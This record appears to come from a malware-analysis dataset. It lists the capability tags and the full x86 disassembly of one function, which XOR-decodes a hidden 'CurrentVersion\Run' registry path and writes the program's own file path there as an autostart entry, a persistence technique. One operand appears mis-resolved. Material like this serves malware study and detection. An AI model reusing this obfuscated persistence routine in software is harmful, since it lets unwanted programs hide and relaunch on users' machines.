Function at 0x40a8cf
Capabilities:
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
push ebx
push esi
mov dword [ebp - 8], ecx
xor ebx, ebx
push edi
mov ecx, 0x10000
call fcn.004067f9
mov esi, eax
test esi, esi
je 0x40ac65
mov dword [ebp - 0x48], 0x59
mov edx, ebx
mov byte [ebp - 0x44], 0x7b
mov byte [ebp - 0x43], 0x59
mov byte [ebp - 0x42], 0x59
mov al, byte [ebp - 0x44]
mov byte [ebp - 0x41], bl
mov al, byte [ebp + edx - 0x44]
mov ecx, dword [ebp - 0x48]
xor cl, al
mov byte [ebp + edx - 0x44], cl
inc edx
cmp edx, 3
jb 0x40a90f
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x44]
push eax
push esi
mov byte [ebp - 0x41], bl
call edi
push 0x7fff
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40ac5e
mov dword [ebp - 0x58], 0xe
mov edx, ebx
mov byte [ebp - 0x54], 0x2c
mov byte [ebp - 0x53], 0xe
mov byte [ebp - 0x52], 0x2e
mov byte [ebp - 0x51], 0xe
mov byte [ebp - 0x50], 0x21
mov byte [ebp - 0x4f], 0xe
mov byte [ebp - 0x4e], 0x58
mov byte [ebp - 0x4d], 0xe
mov byte [ebp - 0x4c], 0x23
mov byte [ebp - 0x4b], 0xe
mov byte [ebp - 0x4a], 0xe
mov al, byte [ebp - 0x54]
mov byte [ebp - 0x49], bl
mov al, byte [ebp + edx - 0x54]
mov ecx, dword [ebp - 0x58]
xor cl, al
mov byte [ebp + edx - 0x54], cl
inc edx
cmp edx, 0xb
jb 0x40a985
lea eax, [ebp - 0x54]
mov byte [ebp - 0x49], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x40], 0x6f
mov eax, dword [ebp - 0x40]
xor al, 0x53
mov byte [ebp - 0x3c], al
mov eax, dword [ebp - 0x40]
inc al
xor al, 0x4f
mov byte [ebp - 0x3b], al
mov eax, dword [ebp - 0x40]
add al, 2
xor al, 0x46
mov byte [ebp - 0x3a], al
mov eax, dword [ebp - 0x40]
add al, 3
xor al, 0x54
mov byte [ebp - 0x39], al
mov eax, dword [ebp - 0x40]
add al, 4
xor al, 0x57
mov byte [ebp - 0x38], al
mov eax, dword [ebp - 0x40]
add al, 5
xor al, 0x41
mov byte [ebp - 0x37], al
mov eax, dword [ebp - 0x40]
add al, 6
xor al, 0x52
mov byte [ebp - 0x36], al
mov eax, dword [ebp - 0x40]
add al, 7
xor al, 0x45
mov byte [ebp - 0x35], al
mov eax, dword [ebp - 0x40]
add al, 8
xor al, 0x5c
mov byte [ebp - 0x34], al
mov eax, dword [ebp - 0x40]
add al, 9
xor al, 0x4d
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x40]
add al, 0xa
xor al, 0x69
mov byte [ebp - 0x32], al
mov eax, dword [ebp - 0x40]
add al, 0xb
xor al, 0x63
mov byte [ebp - 0x31], al
mov eax, dword [ebp - 0x40]
add al, 0xc
xor al, 0x72
mov byte [ebp - 0x30], al
mov eax, dword [ebp - 0x40]
add al, 0xd
xor al, 0x6f
mov byte [ebp - 0x2f], al
mov eax, dword [ebp - 0x40]
add al, 0xe
xor al, 0x73
mov byte [ebp - 0x2e], al
mov eax, dword [ebp - 0x40]
add al, 0xf
xor al, 0x6f
mov byte [ebp - 0x2d], al
mov eax, dword [ebp - 0x40]
add al, 0x10
xor al, 0x66
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x40]
add al, 0x11
xor al, 0x74
mov byte [ebp - 0x2b], al
mov eax, dword [ebp - 0x40]
add al, 0x12
xor al, 0x5c
mov byte [ebp - 0x2a], al
mov eax, dword [ebp - 0x40]
add al, 0x13
xor al, 0x57
mov byte [ebp - 0x29], al
mov eax, dword [ebp - 0x40]
add al, 0x14
xor al, 0x69
mov byte [ebp - 0x28], al
mov eax, dword [ebp - 0x40]
add al, 0x15
xor al, 0x6e
mov byte [ebp - 0x27], al
mov eax, dword [ebp - 0x40]
add al, 0x16
xor al, 0x64
mov byte [ebp - 0x26], al
mov eax, dword [ebp - 0x40]
add al, 0x17
xor al, 0x6f
mov byte [ebp - 0x25], al
mov eax, dword [ebp - 0x40]
add al, 0x18
xor al, 0x77
mov byte [ebp - 0x24], al
mov eax, dword [ebp - 0x40]
add al, 0x19
xor al, 0x73
mov byte [ebp - 0x23], al
mov eax, dword [ebp - 0x40]
add al, 0x1a
xor al, 0x5c
mov byte [ebp - 0x22], al
mov eax, dword [ebp - 0x40]
add al, 0x1b
xor al, 0x43
mov byte [ebp - 0x21], al
mov eax, dword [ebp - 0x40]
add al, 0x1c
xor al, 0x75
mov byte [ebp - 0x20], al
mov eax, dword [ebp - 0x40]
add al, 0x1d
xor al, 0x72
mov byte [ebp - 0x1f], al
mov eax, dword [ebp - 0x40]
add al, 0x1e
xor al, 0x72
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x40]
add al, 0x1f
xor al, 0x65
mov byte [ebp - 0x1d], al
mov eax, dword [ebp - 0x40]
add al, 0x20
xor al, 0x6e
mov byte [ebp - 0x1c], al
mov eax, dword [ebp - 0x40]
add al, 0x21
xor al, 0x74
mov byte [ebp - 0x1b], al
mov eax, dword [ebp - 0x40]
add al, 0x22
xor al, 0x56
mov byte [ebp - 0x1a], al
mov eax, dword [ebp - 0x40]
add al, 0x23
xor al, 0x65
mov byte [ebp - 0x19], al
mov eax, dword [ebp - 0x40]
add al, 0x24
xor al, 0x72
mov byte [ebp - 0x18], al
mov eax, dword [ebp - 0x40]
add al, 0x25
xor al, 0x73
mov byte [ebp - 0x17], al
mov eax, dword [ebp - 0x40]
add al, 0x26
xor al, 0x69
mov byte [ebp - 0x16], al
mov eax, dword [ebp - 0x40]
add al, 0x27
mov edx, ebx
xor al, 0x6f
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0x40]
add al, 0x28
xor al, 0x6e
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x40]
add al, 0x29
xor al, 0x5c
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x40]
add al, 0x2a
xor al, 0x52
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x40]
add al, 0x2b
xor al, 0x75
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x40]
add al, 0x2c
mov byte [ebp - 0xf], bl
xor al, 0x6e
mov byte [ebp - 0x10], al
mov al, byte [ebp - 0x3c]
mov al, byte [ebp + edx - 0x3c]
mov ecx, dword [ebp - 0x40]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x3c], cl
inc edx
cmp edx, 0x2d
jb 0x40ab75
lea eax, [ebp - 0x5c]
mov byte [ebp - 0xf], bl
push eax
lea eax, [ebp - 0x3c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40ac5e
mov byte [ebp - 4], 0x84
mov byte [ebp - 3], 9
mov byte [ebp - 2], 9
mov byte [ebp - 1], bl
mov al, byte [ebp - 4]
mov eax, ebx
sub byte [ebp + eax - 4], 9
inc eax
cmp eax, 3
jb 0x40abbc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xb0]
push eax
call edi
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xb0]
push eax
call edi
mov dword [ebp - 0xc], 0x14
mov edx, ebx
mov eax, dword [ebp - 0xc]
xor al, 0x7d
mov byte [ebp - 8], al
mov eax, dword [ebp - 0xc]
inc al
mov byte [ebp - 7], al
mov eax, dword [ebp - 0xc]
add al, 2
mov byte [ebp - 5], bl
mov byte [ebp - 6], al
mov al, byte [ebp - 8]
mov al, byte [ebp + edx - 8]
mov ecx, dword [ebp - 0xc]
add cl, dl
xor cl, al
mov byte [ebp + edx - 8], cl
inc edx
cmp edx, 3
jb 0x40ac0d
lea eax, [ebp - 8]
mov byte [ebp - 5], bl
push eax
lea eax, [ebp - 0xb0]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0xb0]
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x5c]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, esi
call fcn.0040689e
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret